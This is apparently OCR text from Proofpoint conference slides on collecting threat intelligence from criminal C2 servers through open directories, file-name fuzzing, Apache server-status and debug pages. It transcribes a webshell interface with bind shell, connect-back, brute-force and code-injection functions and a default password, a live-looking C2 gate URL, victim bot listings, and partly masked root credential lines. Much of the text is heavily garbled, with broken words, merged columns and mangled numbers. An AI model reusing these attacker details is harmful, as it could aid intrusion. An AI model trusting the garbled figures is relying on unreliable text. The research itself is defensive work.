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> Showcase 25 methods for gathering threat intel
for over 30 real cases

> Mostly against web-based C&C servers
operated by actors

> WHY: Actors carelessness, server
misconfigurations, vulnerable panel code

> HOW: pentesting, application code review

> Intelligence gathering is key to an intelligence-
based security strategy

> Conclusion
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Method 1

The story starts with us getting a whole bunch of
C2 URLs from our sandboxes...

HTTP Reguests

URL

http://nwheilcopters.com/steve/gate.php

DNS Requests ., from these URLSs, our investigation starts

Hostname IP Addresses
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Method 1 — Analytics beacons

> Win: Discovery of openly accessible traffic analytics
> Nurjax (Superfish shipped by notebook vendor)
Total Visitors 2,155,048 M

10 February 2016 - 28 November 2016 31 Aug 06 Sep 12 Sep 18 Sep 24 Sep 30 Sep 06 Oct 12 Oct 18 Oct 24 Oct 300
Visitors Today per Hour » Visitors per Day » Visitors per Week » Visitors per Month »
1 Today 8 This Week 7 This Month -
o~
||||| | 6 Yesterday || 4,638 Last Week | | | 16,336 Last Month v
........................ 1 Before Yesterday Illllll- 8,972 Previous Week I. 67,425 Previous Month

Sources Searchengines Referrers Keywords Continents Countries Computers Resolutions OS OS Versions Browsers Browser Versions

All Time Today Yesterday Last 3 Months Trend

Brazil 1,977,502 91.95% Brazil 123,474 74.11% ks

[ Portugal 40,209 1.87% United States 17,376 10.43% 0. dabo.
United States 30,640 1.42% [#1 canada 3,687 2.21% "
& Angola 12,297 0.57% [ Portugal 2725 1.64% e aii  ia
B3 nozambique 9792 0.46% UnitedKingd.. 2225 134% 4 ke |
Canada 5279 025% B3 Netherlands 1873 112% b il
United Kingd... 5002 0.23% B Angola 1242 075% 4

=2 China 3311 0.15% B Germany o074 058% L. . aM

[E1 Argentina 3219 0.15% - i ; e

; B Mozambique 889 0.53% et ..
Il France 2,977 0.14% . !
: [0 France 621 037% gy aul ..
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Method 2 -- Open directories

> Win: collect tools, source code, targets, type of c2
panels in use, and unseen samples

> Cryptowall

Spam tool Outlook email harvester
Index of /up Index of /outlook/reports
Name Last modified Size Description
Name Last modified Size Description

«® Parent Directory -
(7] dnrar 13-Jan-2016 09:14 114M a Parent Directory
[? 2rar 13-Jan-2016 09:10 191M S 14-Dec-2015 18:40
@) 3rar 13-Jan-2016 09:10 214M (3 Canada(CAY 14-Dec-2015 21:42
% ﬁ Ej::zx gzgz 122& £ France(FRY 14-Dec-2015 14:07

— ' Spain(ES) 14-Dec-2015 08:47
from emails.txt 27-Dec-2015 14:22 111K Q —p?‘—m(—_)' ec _
i code.xt 28-Dec-2015 08:15 3.9K (23 United Kingdom(GB)/ 15-Dec-2015 08:02
messagetxt  27-Dec-2015 14:54 575 (£ United States(US)  14-Dec-2015 16:34
new configtxt 28-Dec-201507:36 52K totalstat txt 17-Dec-201501:37 3
[?] nnn.rar 13-Jan-2016 09:14 187M
send.txt 27-Dec-2015 14:22 22K

send scripts.txt 28-Dec-2015 08:17 753K
@ sendmail.rar 04-Jan-2016 23:33 1.2M

© 20 subi.txt 27-Dec-2015 14:22 102 n roof OI nt?
urls.txt 27-Dec-2015 14:22 0 blagl/_\(\ 2:? ; p p



Method 2 -- Open directories

> Dridex 120: targeting UK

s f P &@okm b S 6 “wa 86/bases/
Index of / )
Index of /bases
Name Last modified Size Description

() Lhtmiz 21-Aug-2014 09:43 1.6K Name Last modified Size Description
EEES 18-Sep-2014 13:41 168
[A anhp 12-Jun-2014 0829 0 .
(3 ani/ 13-Mar-2015 1840 - a Parent Director -
—asdvxf 10-Feb-2015 13:18 - GB_EBOK.bd 04-Sep-2014 09:07 2.6

b.exe 18-Jun-2014 10:48 221K
6;595/ 17-Sep-2014 12:03 - @ email-filter new.php  08-Sep-2014 14:23 3.7K
(2 bases/ 06-Oct-2014 16:01 - @ email-filter. php 06-Sep-2014 08:04 3 6K
cipg 18-Jun-2014 10:06 522K N . _
£y crar Todun2014 20115 - filter.bd 04-Sep-2014 10:30 505
(£ dronv 21-Nov-2014 12:33 - new-uk-2014 .bd 04-Sep-2014 09:16 1.0G
E@;%m :433:2512 ;322 1o new mails.bd 07-Sep-2014 08:02 13G
Sl 240042014 0950 - new mails filtered bd 08-Sep-2014 17:04 9.2G
(= 08-Dec-20141044 - q stat bt 07-Sep-2014 08:02 461M
(?) Lhtmi1 28-Jul-2014 11:09 1.7K SaLe - '
@) o 12-Mar-2015 18:59 20 stat 100k .bd 08-Sep-2014 14:24 6.2K
[ imboundpho  16-Jun-2014 0625 462 Uk-june-2014.b¢  04-Sep-2014 09:28 1.3G
indexhtml  04-Jun-2014 16:50 177 y _
C)kwefewell  17-Feb-2015 2100 - uk-rent.bd 04-Gep-2014 10:40 7.4G
oy 08-Dec-2014 10:44 - Uk-resolv.bd 04-Sep-2014 10:59 2.0G
3 pnn-t/ 08-Dec-2014 10:45 - L _
gy oDt 1050 uk bt 04-Sep-2014 11:44 4.7G
[A) rhtmic 05-Aug-2014 06:33 3 5K

© 2017 Proofpoint, Inc.
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Method 3 — Fuzzing common file

Nnames

> Win: Discover C2 files
> Nurjax - stats.php

(€)2 ——a G Ultimos 30 dias
Data 13/04/2016 : 401 mstalls
Total Distribuido: 6080063 Data 12/04/2016 : 6546 installs
Data 11/04/2016 : 7477 mstalls
Tnstalados Hoje: 401 Data 10/04/2016 : 6615 mstalls
Data 09/04/2016 : 6805 mstalls
Ativos Hoje: 3581 Data 08/04/2016 : 6927 mstalls

Data 07/04/2016 : 6570 mstalls
Data 06/04/2016 : 5135 mstalls

Total Ativo (15 dias): 238780 Data 05/04/2016 - 5403 installs
Data 04/04/2016 : 5911 mstalls
Total Atwvo (3 dias): 114752 Data 03/04/2016 : 7297 installs
Data 02/04/2016 : 7677 stalls
Total Ativo (2 dias): 95857 Data 01/04/2016 : 6597 mstalls

Data 31/03/2016 : 6011 mstalls

© 2017 Proofpoint, Inc.
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Method 3 — Fuzzing common file

Nnames

> Win: C2 panel access
> UnkDownloader (targeting brazil)

. 6 ) P | (i) E mem m .or/point.php Noo | ’

Listar Infect || Limpar
List Infect Clean

blgc’;khat proofpoint’

ASIA 2017

© 2017 Proofpoint, Inc.



Method 3 — Fuzzing common file
names
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Method 3 — Fuzzing common file

Nnames

> Win: C2 server access
> Loki Stealer (Pony)

(€)® Jlinux c| - ‘ Q search

SERVER WHOIS  TRACEROUTE

SELF REMOVE  LOGOUT

8YS KERNEL USER DISK TOTAL/FREE WEE SOFTWARE SAFE MODE OPEN BASEDIR CURL MYSGQL MSSOL  ORACLE POSTGRESGL
Linux 2.6.32-042stab113.11 privotec 19.56GB / 16.24GB Apachei2.2.27 PHP/5.4.45 OFF NONE YES YES NO NO
BACK FILES SEARCH UPLOAD cMD EVAL SaL MAILERS CALC TOOLS PROC SYSINFO
@ fhome / privotec / public_html / § (dnaxexr)
BIND SHELL CONNECT BACK
PASS:PORT:SRC P@55w0rd 131337 : PERL % Bind HOST.PORT:SRC = »m 131337 : PERL % Connect
PHP-SHELL HUNTER PORTSCAN
ACTION:RECURSIVE  View known shells only + : 1DIRS & Find Shells HOST:PORT RANGE © = ‘0 -B5535 Scan
FUNCTION:START PATH  glob  fhomedprivotec/public_html we w
CPANEL / PASSWORD FINDER MASS CODE INJECTOR
HOST:USER:SERVICE 127.0.0.1 ‘root (| FTP v FILES:POS:RECURSIVE “.htmliindex.php; : Top of the file :1DIRS &
FILES:METHOD:RECURSIVE “conf'.php:*db®.php; : user+ DEFINED + : 1DIRS FUNCTION:START IN PATH | glob % :shome/privotecipublic_htmlrmem '
FUNCTION:DEFINED PATH  glob v :thomedprivotecipublic_html we w CODE TO INJECT
SEND LOG TO '} O
Find Passwords | [] Don't login (create passfile) Inject Files

FIND SQL CREDENTIALS BRUTEFORCE / DICTIONARY &TTACK

USER NAME:TYPE user : variable (bvar) W required HOST:PORT:SERVICE ! | FTP

PASS NAME:TYPE pass : variable (fvar) W required USERNAME:DATABASE

DB NAME:TYPE base : variable (pvar) W optional DICTIONARY Browse... | No file selected.
HOST NAME:TYPE host : variable (fvar) v optional TEST METHOD  username and dictionary v
*SOFTWARE:PASSWORD  Select Software v anti-lamerz :) ALSO TEST D user:resu D userusert D useruser123

FILES:WHERE:RECURSIVE
FUNCTION:DEFINED PATH
SEND LOG TO

Tconf*.php;*db™.php; : DEFINED PATH W :

1DIRS W

glob W :/homefprivotecipublic_html/aposimainicar

|

Find Credentials =[] MySOL Test

SEND LOG TO

[] Transform password to p@55wird

i ' O

Start Bruteforce

black
yAS=] VAN
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Method 3 — Fuzzing common

Nnames

> Win: C2 server access

> Loki

Stealer (Pony)

Jlinusx

wB $§ A O « -

C | @ |Qsearch

SERVER WHOIS  TRACEROUTE

SELF REMOVE  LOGOUT

SERVER WHOIS  TRACEROUTE

8YS
Linux

KERNEL
2.6.32-0425tab113.11

USER
privotec

DISK TOTAL/FREE
19.56GB / 16.24GB

WEB SOFTWARE
Apachei2.2.27 PHP/5.4.45

8YS
Linux

KERNEL

BACK FILES

2.6.32-0425tab116.2

USER
threesix

DISK TOTAL/FREE
29.4GB /25.34GB
SEARCH

UPLOAD EVAL

WEB SOFTWARE
Apachei2.2.27 PHP/5.3.29

SAFE MODE
OFF

OPEN BASEDIR
NONE

CURL
YES

MYSGL  MSSOL  ORACLE

POSTGRESAL
YES NO NO NO

saL MAILERS CALC TOOLS PROC SYSINFO

@ fhome / threesix / public_html /

BIND SHELL

BACK FILES SEARCH UPLOAD

EVAL

FTP

SaL PASS:PORTSRC

@ fhome / privotec / public_html / 3 (dnancr-xr-x)

BIND SHELL

PASS:PORT:SRC P @55w0rd ! PERL ¥ B

PHP-SHELL HUNTER

ACTION:RECURSIVE  View known shells only ¥ 1DIRS W

FUNCTION:START PATH | glob v /homelprivotec/public_html we

CPANEL / PASSWORD FINDER

HOST:USER:SERVICE 127.0.0.1 oot

FILES:METHOD:RECURSIVE *conf*.php:*db™.php; : user+ DEFINED ¥ :

FUNCTION:DEFINED PATH  glob v /homelprivotec/public_html we »

|

[ pen't legin (create passfile)

SEND LOG TO

Find Pasawords

FIND SGL CREDENTIALS

USER NAME:TYPE : variable (fvar) W

PASS NAME:TYPE ¢ variable (var) v

DB NAME:TYPE : variable (fvar) W

HOST NAME:TYPE host © variable ($var) W

*SOFTWARE:PASSWORD  Select Software

FILES:WHERE:RECURSIVE “conf*.php:*db™.php; : DEFINED PATH W :

FUNCTION:DEFINED PATH  glob
SEND LOG TO

|

Find Credentials

[CIMysaL Test

ind

Find Shells

JFTP W

1DIRS W

required
required
optional
optional
anti-lamerz :)

1DIRS W

+ :thomefprivotec/public_html‘aposimainicor

PHP-SHELL HUNTER
CONNECT BACK

ACTION:RECURSIVE
FUNCTION:START PATH

(EBIEE] CPANEL / PASSWORD FINDER
HOST:USER:SERVICE
FILES:METHOD:RECURSIVE
FUNCTION:DEFINED PATH

MASS CODE INJEQ
SEND LOG TO

FIND SOL CREDENTIALS

USER NAME:TYPE

PASS NAME:TYPE

DB NAME:TYPE

BRUTEFORCE / D HOSTIAREIEE
*SOFTWARE:PASSWORD
FILES:WHERE:RECURSIVE
FUNCTION:DEFINED PATH

SEND LOG TO

RC-SHELL v2.0.2011.1003 : PAGE

SEND LOG TO
Start Bruteforce

[ B W (dnaxrxr-X)

P@55w0rd © PERL % Bind

View known shells only ¥ 1DIRS % Find Shells

glob ¥ ‘thomeithressixipublic_html

127.00.1 oot | FTP

*conf'.php:*db®.php; : user+ DEFINED % : 1DIRS

glob ¥ :thomeithreesix/public_html

| O

Find Pasawords | [] Don't login (ereate passfile)

: variable (vai) |V required

: variable (Jvar) W required
: variable (Bvar) | optional
: variable (pvar) v optional
Select Software anti-lamerz 3

“conf'.php:*db™.php; : DEFINED PATH ¥ : 1DIRS

glob

- ] O

[ MysaL Test

Vv :fhomeithreesix/public_html; 4

Find Credentials

GENERATED IN 0.3383 SECONDS

CONNECT BACK

HOST:PORT:SRC : PERL % Connect

PORTSCAN

HOST:PORT RANGE

MASS CODE INJECTOR

FILES:POS:RECURSIVE “.htmliindex.php; : Topofthefile % : 1DIRS W

FUNCTION:START IN PATH  glob + :/homefthreesix/public_htmls - -

CODE TO INJECT

Inject Files
BRUTEFORCE / DICTIONARY ATTACK

HOST:PORT:SERVICE 51.254.164.242

USERNAME:DATRBASE

DICTIONARY | Browse No file selected.

TEST METHOD | usemname and dictionary v
ALSO TEST [Juserresu [Juserusert [[]useruser123
[] Transterm password to p@55w0rd

=g O

Start Bruteforce

SEND LOG TO




Method 4

Now that we've fully explored with
our C2 URLs ...

... where exactly is the C2 admin
control panel, and how can we
understand its file structure?
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Method 4 -- server-status

> Lok| PWS Stealer(Pony) + LOKI PLUS(Neutrino)

u.» EErE /server-status E1 ¢ ‘ W ’QSPdrCh ‘ ﬁ E ’ ﬁ . |~ :

Apache Server Status for pasas bl =

Server Version: Apache/2.2.27 (Unix) mod_ssli2.2.27 OpenSSLi1.0. le-fips
Server Built: Jan 11 2017 01:07:08

Current Time: Tuesday, 17-Jan-2017 01:34:37 EST

Restart Time: Wednesday, 11-Jan-2017 05:39:.31 EST
Parent Server Generation: 2

Server uptime: 5 days 19 hours 55 minutes 6 seconds

Total accesses: 163931 - Total Traffic: 56.3 MB

CPU Usage: u6.88 s5.03 cul61.41 cs0 - .0344% CPU load
.325 requestsisec - 117 Bisecond - 359 Birequest

3 requests currently being processed, 9 idle workers

Scoreboard Key:
" " Waiting for Connection, "s" Starting up, "R" Reading Request,
"w" Sending Reply, "K" Keepalive (read), "p" DNS Lookup,
¢" Closing connection, "L" Logging, "6" Gracefully finishing,
"1" Idle cleanup of worker, "." Open slot with no current process

Srv PID Ace M CPU SS Req Comnn Chld Slot Client VHost Reguest

0-2 23437 0/251/14834 _ 6.16 0 52 0.0 018 4. i e Po GET faposimainfconfigPvgDq929BSx A D Mln_aphp

12 19100/11"32}; C 132.07 108621 14594 0.5 1.80 3, 24 pm o DPOST faposfmain/config/fve. php HTTP/1.0

22 20258 0/63/13764 _ 163 22 372 00 004 4 % 142 wmmssme w0 POST fausimayiretrievefire. php HTTP/1.0

32 21490 /31313174 _ 729 24 23 00 009 4 = 31 § o POST faposimainiconfighewitasks php HTTP/1.0 5
©201 43 11079 177112073 C 0.14 47252 1483205 000 3 = 8 24 s o  POST faposimain/configiire php ETTP/1.0 )OprInt

5-2 24960 0/189/13851 _ 476 2 22 00 007 4 o POST /aposimain/configinew'tasks. php HTTP/1.0



Method 4 -- server-status

> Loki PWS Stealer(Pony) + LOKI PLUS(Neutrino

(€ ) ® pre—— ‘config/PvaDq929B5x__D_M1n_a.php?FEil=bat ¢ ‘ - ‘ Q search ‘ w B ¥ A ® |- iZ
Loki PWS Main Bots « Reports « Settings Exit
Reports
HTTP E
FTR/SSH =
Bot Guid PC Information Last Online Action
Others
7E9! 1D0SD444F1 PC34\user, Windows 7 x64, 1920x1080, 1 report 2017-01-17 09:43:03 Set
(14 5)
077 Wr3C5E48868  APSO03 O 133 (A1) LENOVO-X3123 Administrator, Windows 7 x32, 800x600, 0 report 2017-01-17 08:40:28 Set
(1 houn
409 E289685418 APSO03 34 (NL) JOHNSON-PC.Johnson-PCuWohnson, Windows 7 x64, 1440x800,1  2017-01-17 07:04:53 Set
report (3 h)
c41 35B774F090  APSO3 10{Us) JOHN-PC.John-PCWohn, Windows 7 %32, 1024x768, 1 report 2017-01-17 07:03:118 Set
(3 h)
FBE! 45E26C3B22 APS03 0(RU) ROGER-PC.Roger-PC\Roger, Windows 7 x64, 1024x768, 1 report 2017-01-17 02:28:38 Set
{7 h)
BA4[ 7BCE4A8315 APS03 8 (RU) ANTONY-PC.Antony-PC\Antony, Windows 7 %32, 1024x768, 1 report . 2017-01-17 02:28:113 Set
{7 hy
951¢ =5874229CC  APS03 67 (DE) LUSER-PC.luser-PClluser, Windows 7 x32, 1024x768, 0 report 2017-01-16 18:45:39 Set
(15 h
620: D3BBESA341  APSO03 71 (DE) HR- Administrator, Windows 7 x64, 800x600, 0 report 2017-01-16 11:54:25 Set
(22 h)
40E WWFDCB4639  APS03 71 (DE) Rico-Win7 \Administrator, Windows 7 %32, 800x600, 0 report 2017-01-16 11:52:43 Set —
(22 h) ap
L4
03D DB5825F7AS  APSO3 06 (US) DEER.F 1Gz, Windows 7 x64, 1024x768, 0 report 2017-01-16 07:40:13 Set
{1 day)
AB4 I1F913B3B6  APSO3 16.190 TEST-PCtest-PCitest, Windows 7 x32, 1366x768, 0 report 2017-01-16 05:58:09 Set
1 (1 day) >
©201 51E | 33E3A052DF  APSO03 46 (US) & Dwsert, Windows 7 %32, 1024x768, 0 report 2017-01-16 04:27:06 Set )Oprl ntm

{1 day)



Method 4 -- server-status

> Loki PWS Stealer(Pony) + LOKI PLUS(Neutrino)

wB & A& Q@ =

€

{ LOKI PLUS }

iineufindex.php?act=clients

o1 Statistics

c

® | Q search

A Clients @ Formgrabber

& CC Logs

L Loki Panel

-

© 201"

Machine id

4eb

flet

ah1-

d15

h951

d7hl

ede

8aa

c9all o=

205w

ach4hedbffShea

4
i

O
=

12e40ff57281a0

[132747d37377a b9

4f2e7233784f0a 19

325c2a6fdbeB9  Sfl

11e0e1f89070d7 )

10e98h5d461879d 19

1425019448144 g2

1371c689dhffa8 hg

77cf96ec5hia 7d

2-86

49¢2-4461-
-840fa18c

3-9264d-
6-0149ee4c8c7f

-8609-
689bb5ahB8d5
-824c-f9bd-
afc04ed84d

IP address

1]

95

0s

Win 7
{64-hif)
Win 7
{64-hif)
Win XP
{32-hif)
Win 7
{32-hif)
Win 7
{64-hif)
Win 7
{32-hif)
Win 7
{32-hif)
Win 7
{32-hif)
Win 7
{32-hif)

Win XP
(32-hit)

Antivirus

INFA

INA

INFA

INA

INFA

INFA

INFA

INFA

INFA

INFA

Country Version OQuality Status

&

I

Gla

4]

I

I

I

394

[T eI
[T T
N oifine
(N oifine
(N oifine
(N oifine |
(N oifin
N oifin
[T G
(N oifin

Action

oo

3 8 8 8 8 8 8 8 3

yoint’



Method 4 -- server-status

> Win: Find C2 admin login panels via the Apache
server-status module

> Cryptowall

Srv  PID Acc M CPU SS Req ComnChild Slot Client VHost Request
0-1 24684 0/4307/49793 _ 1242386 4 0.0 028 24.83127.0.0.1 localhost POST /z5mh28ar9v HTTP/1.0
1-1 - 0/0/45533 . 651 443120 0.0 000 2405:1 localhost OPTIONS * HTTP/1.0

2-1 24686 0/4323/49828 1144.30 1 3 0.0 025 23.90127.0.0.1 localhost POST /q9jnuqd560am3k HTTP/1.0
3-1 24687 0/4314/49753 123882 6 4 0.0 009 23.92127.0.0.1 localhost POST /18yswtln91hu HITP/1.0
4-1 24688 0/4331/49837 1200.11 8 4 0.0 014 23.97 127.0.0.1 localhost POST /SyawxpSh741 HITTP/1.0

5-1 24689 0/4330/47746 _ 115784 4 3 0.0 013 2354 127.0.0.1 localhos i HTTP/1 0

6-1 24690 0/4336/49854 _ 1107.58 5 254 00 024 2427 127.0.0.1 localhos} POST fworkniggawork_a01951b4c4ead925ae188ae7 1dbed5a3?p=statisti
7-1 - 0/0/45461 . 0.01 443420 0.0 000 24.10:1 localhosT P TIIeN==prrTPrTe

8-1 11395 0/21311/50027 _ 5223451 3 0.0 323 2478127.0.0.1 localhost POST /z27pugpOnkt6z HTTP/1.0

9-1 - 0/0/45457 . 389933451490 0.0 0.00 2349:1 localhost OPTIONS

& @  95:mmy 45/hvorkni,

weork_a01951bdcdeadfaSa

10-1 - 0/0/43359 . 113.85 451020 0.0 0.00 23.40:1 localhost OPTIONS
11-1 24562 0/4524/49990 W 1275.101 0 0.0 018 23.95127.0.0.1 localhost POST /Oan

Login: [ ]

Password: [ ]

© 2017 Proofpoint, Inc. e -



Method 5 -- PHP error messages

> Win: Understanding the C2’s structure
> TROJAN Unknown Bot

(-‘ B ‘assets/docs/daftar.php e || Q Sesrch w e + A 4 s O @

Warning: copy(/class_database.php): failed to open stream: Permission denied in /home/staktarutung/public_html/assets/docs/daftar.php on
line 25

Warning: copy(/koneksi_.php): failed to open stream: Permission denied in /lhome/staktarutung/public_html/assets/docs/daftar.php on line 25
Warning: copy(/getlocation.php): failed to open stream: Permission denied in /lhome/staktarutung/public_html/assets/docs/daftar.php on line 2!
Warning: copy(/userstatus.php): failed to open stream: Permission denied in /home/staktarutung/public_html/assets/docs/daftar.php on line 28
Warning: copy(/proses.php): failed to open stream: Permission denied in /home/staktarutung/public_html/assets/docs/daftar.php on line 25
Warning: copy(/confirm.php): failed to open stream: Permission denied in /home/staktarutung/public_html/assets/docs/daftar.php on line 25
Warning: copy(/sdk.php): failed to open stream: Permission denied in /home/staktarutung/public_html/assets/docs/daftar.php on line 25
Warning: copy(/index.php): failed to open stream: Permission denied in /home/staktarutung/public_html/assets/docs/daftar.php on line 25
Warning: copy(/testwaktu.php): failed to open stream: Permission denied in /home/staktarutung/public_html/assets/docs/daftar.php on line 25
Warning: copy(/data.php): failed to open stream: Permission denied in /lhome/staktarutung/public_html/assets/docs/daftar.php on line 25
Warning: copy(/config.php): failed to open stream: Permission denied in /home/staktarutung/public_html/assets/docs/daftar.php on line 25
Warning: copy(/read.php): failed to open stream: Permission denied in /home/staktarutung/public_html/assets/docs/daftar.php on line 25

Warning: copy(/index.html): failed to open stream: Permission denied in /home/staktarutung/public_html/assets/docs/daftar.php on line 25

© 2017 Proofpoint, Inc. blanck hat p rOOfPOI nt?
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Method 5 -- PHP error messages

> Win: Understanding the C2’s structure
> TROJAN Unknown Bot

( (- NO)] e mmowyosset/docs’sik php \ oo X t’ c ‘ ‘ Q -)‘ * E u

€)G - -] + A4 s D06

Warning: c A \l/assets/docs/daftar.php on

line 25 2016-03-24 14:22:10

Warning: c 2016-02-18 22:42:02 14 F D CMD Off V EXP-0 ts/docs/daftar.php on line 25

Warning: c 2016-01-27 10:03:39 1 F C CMD Off V EXP-0 sets/docs/daftar.php on line 2!
2016-03-03 15:05:48 8 F C CMD Off V EXP-0

Warning: c ets/docs/daftar.php on line 2§
2016-01-31 15:56:48 1 F C CMD Off V EXP-0

Warning: c 2016-02-03 02:53:35 1 F C CMD Off V Exp-0 'docs/daftar.php on line 25

Warning: c 2016-02-05 14:30:40 1 F C CMD Off V EXP-0 i/docs/daftar.php on line 25

Warning: c 2016-02-05 14:38:43 1 F C CMD Off V EXP-0 cs/daftar.php on line 25
2016-02-25 22:57:39 1 F C CMD Off V EXP-0

Warning: c locs/daftar.php on line 25
2016-02-26 06:04:43 2 F C CMD Off V 0

Warning: ¢ 2016-02-26 11:24:57 1 F C CMD O_ff V EXP-0 sts/docs/daftar.php on line 25

Warning: c 2016-02-26 16:29:38 1 F C CMD Off V EXP-0 )cs/daftar.php on line 25

Warning: c 2016-02-26 21:03:12 1 F C CMD Off V EXP-0 docs/daftar.php on line 25
2016-02-29 06:18:03 2 F C CMD Off V EXP-0

Warning: c ycs/daftar.php on line 25
2016-02-29 17:24:22 2 F C CMD Off V EXP-0

Warning: ¢ 2016-03-16 02:03:07 1 F C CMD Off V EXP-0 locs/daftar.php on line 25
2016-03-17 18:40:04 1 F C CMD Off V EXP-0

© 2017 Proofpoint, Inc.
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Method 6 -- Python Django debug

enabled

> Win: Understanding the C2’s structure
> Asprox: Marketplace with over 1400 registered

€ & 1 mmu tributor/api-v2/t C‘Hgv Google ,‘ 3 A w B 6 a | ‘rootfapi

Using the URLconf defined in xem2.urls, Django tried these URL patterns, in this order:

1. *distributor/ “api-v2/ “wso/§ [name='wso-shells-list'] Stream List

2. *distributor/ *“api-v2/ “wso/\.(?P<format>(jsonlapi))$ [name='wso-shells-list']
3. *distributor/ “api-v2/ *wso/(?P<pk>[0-9]+) /¢ [name='wso-shells-detail']
4. *distributor/ *api-v2/ *wso/(?P<pk>[0-9]+)/\. (?P<format>(jsonl|api))§ [name='wso-shells-detail']

streamlists/ nload!

5. *distributor/ “api-v2/ *wso/(?P<pk>[0-9]+)/download/§ [name='wso-shells-dowmload'] GET froot/apl-le'streaml ists/5/download/
6. *distributor/ *api-v2/ *wso/(?P<pk>[0-9]+)/download/\. (?P<format>(json|api))§ [name='wso-shells-download']
7. ~distributor/ “api-v2/ *wso/(?P<pk>[0-9]+)/report/¢ [name='wso-shells-report'] HT'I‘P 200 OK
8. *distributor/ *api-v2/ *wso/(?P<pk>[0-9]+)/report/\. {?P<format>(jsonl|api))$§ [name='wso-shells-report'] . . .
9. “distributor/ *api-v2/ “wso/(?P<pk>[0-9]+)/export_report/§ [name='wso-export-report'] Content—Type: appllcatlon/Json
10. *distributor/ *api-v2/ *wso/{2?P<pk>[0-9]+) /export_report/\.(?P<format>(jsonlapi))$ [name='wso-export-report'] vary: ﬁ.ccept
11. *distributor/ *api-v2/ *wso/{?P<pk>[0-9]+)/export_send_list/§ [name='wso-export-send-list']
12. *distributor/ “api-v2/ “wso/(?P<pk>[0-9]+)/export_send list/\.(?P<format>(json|api))§ [name='wso-export-send-list'] Al 10': GET, HEAD, OPTIONS
13. *distributor/ “api-v2/ “wso/(?P<pk>[0-9]+)/export_redirect_list/§ [name='wso-export-redirect-list']
14. *distributor/ “api-v2/ “wso/(?P<pk>[0-9]+)/export_redirect_list/\.(?P<format>(jsonlapi))$ [name='wso-export-redirect- [
list']
15. "d:i.stx:)j.bucor/ Aap:?.-vZ/ "wso/(?P{pk>[0-9]+]/export_bad_l::.st;/‘s [name='wso-e).(porc-bgd-list'] ) "root:on | 4 :ypartners.com:22",
16. *distributor/ “api-v2/ “wso/(?P<pk>[0-9]+)/export_bad_list/\.(?P<format>(jsonlapi))$ [name='wso-export-bad-list'] " "
17. *distributor/ *api-v2/ *ftp/§ [name='ftp-accs-list'] I'OOT,:Ad. - shotels.com:ZZ ]
18. “distributor/ *api-v2/ ~ftp/\.(?P<format>(jsonl|api))$ [name='ftp-accs-list'] "root AT me e :knpeek.com:22”,
19. *distributor/ *api-v2/ “ftp/(?P<pk>[0-9]+)/§ [name='ftp-accs-detail'] " . ™ _22..
20. ~distributor/ *api-v2/ *ftp/(?P<pk>[0-9]+)/\. (?P<format>(json|api))§ [name='ftp-accs-detail'] rOOt'db n u L
21. *distributor/ “api-v2/ *f£tp/(?P<pk>[0-9]+) /dovmload/§ [name='ftp-accs-download'] "root:M0 [ = 1t.com:22",
22. *distributor/ *api-v2/ ~ftp/(?P<pk>[0-9]+)/download/\. (?P<format>(json|api))§ [name='ftp-accs-download'] n . X . "
23. Adistributor/ *api-v2/ ~ftp/(2?P<pk>[0-9]+) /report/§ [name='ftp-accs-report'] root:vem - —— ‘hoandlefty'se'zz H
24. *distributor/ *api-v2/ *~ftp/(?P<pk>[0-9]+) /report/\. (?P<format>(json|api))§ [name='ftp-accs-report'] "root:Bu B El u m.eg:22" ,
25. *distributor/ “api-v2/ “ftp/{?P<pk>[0-9]+)/export_report/§ [name='ftp-accs-export-report'] "root'fi 1 ) it'22“
26. *distributor/ “api-v2/ “ftp/{?P<pk>[0-9]+)/export_report/\.(?P<format>(jsonl|api))$ [name='ftp-accs-export-report'] N . L . . ' N
27. “distributor/ *api-v2/ “smtp/$ [name='sutp-accs-list'] root:sp weorgystens. it:22",
28. *distributor/ “api-v2/ “smtp/\.{?P<format>(jsonlapi))$ [name='smtp-accs-list'] " . s T4 n
29. *distributor/ *api-v2/ “smtp/(?P<pk>[0-9]+)/¢ [name='smtp-accs-detail'] "root.te - - o .twork.lllt.22 *
30. ~distributor/ *api-v2/ “smtp/(?P<pk>[0-91+)/\. (?P<format>(jsonlapi))$ [name='smtp-accs-detail'] root:sw - 1.47:22 ’
31. *distributor/ “api-v2/ “smtp/(?P<pk>[0-9]+) /dowmload/§ [name='smtp-accs-download'] "root:wa n lt'22"
32. “distributor/ *api-v2/ “smtp/(?P<pk>[0-9]+)/download/\. {?P<format>(json|api))$§ [name='sntp-accs-download'] " * : ! "
33. ~distributor/ “api-v2/ “smtp/(?P<pk>[0-9]+)/report/§ [name='smtp-accs-report'] root:wem e cmmect g0 22 N
34. ~distributor/ *api-v2/ “smtp/(?P<pk>[0-9]+) /report/\.(?P<format>(jsonlapi))$§ [name='smtp-accs-report'] "l'OOtZXS I i L 3:22“
35. ~distributor/ “api-v2/ “smtp/(?P<pk>[0-9]+)/export_report/§ [name='smtp-accs-export-report'] . A T A
36. ~distributor/ “api-v2/ “smtp/(?P<pk>[0-9]+)/export_report/\.{?P<format>{jsonlapi))$ [name='smtp-accs-export-report'] root:pm .- 1. 185:22 s
&Jlo Acl:i.s':::]j.bui:ox:/‘ Aap:?.-vZ/ ‘root/§ [name='root-]_.ist.'] ) ) "root:og‘ = 22",
38. ~distributor/ *api-v2/ “root/\.(?P<format>(jsonlapi))$§ [name='root-list'] " . "
39. Adistributor/ *api-v2/ *root/{?P<pk>[0-9]+)/§ [name='root-detail'] root:20 = tlyspa.it:22",
40. *distributor/ “api-vZ/ “root/(?P<pk>[0-9]+)/\. (?P<format>(jsonlapi))$ [name='root-detail'] "I'OOt:?JG. - . 32",
4l. *distributor/ *api-v2/ “root/(?P<pk>[0-9]+)/dowmload/§ [name='root-download'] " "
42. “distributor/ “api-v2/ *“root/(?P<pk>[0-9]+)/dowmload/\. {?P<format>(jsonlapi))§ [name='root-download'] root:an = 19222 ]
43. *distributor/ “api-vw2/ “root/(?P<pk>[0-9]+)/report/§ [name='root-report'] "root:bar o r'biz;22”, 'Int)
44, ~distributor/ “api-vZ/ “root/(?P<pk>[0-9]+)/report/\.(?P<format>(jsonlapi))$ [name='root-report'] " " ™
45. *distributor/ “api-vZ/ “root/(2?P<pk>[0-9]+)/export_report/$ [name='root-export-report'] root:co; D -t:22 s

46. “distributor/ *api-v2/ “root/(?P<pk>[0-9]+) /export_report/\.(?P<format>{json|api))$ [name='root-export-report'] "root: ].S. LR ge:22"




Method 6 -- Python Django debug

enabled

> WSO Webshells by unique domain: 3,027,423
0 gov:602+ mil:7+
> WSO Webshells by unique filename: 7,966,903

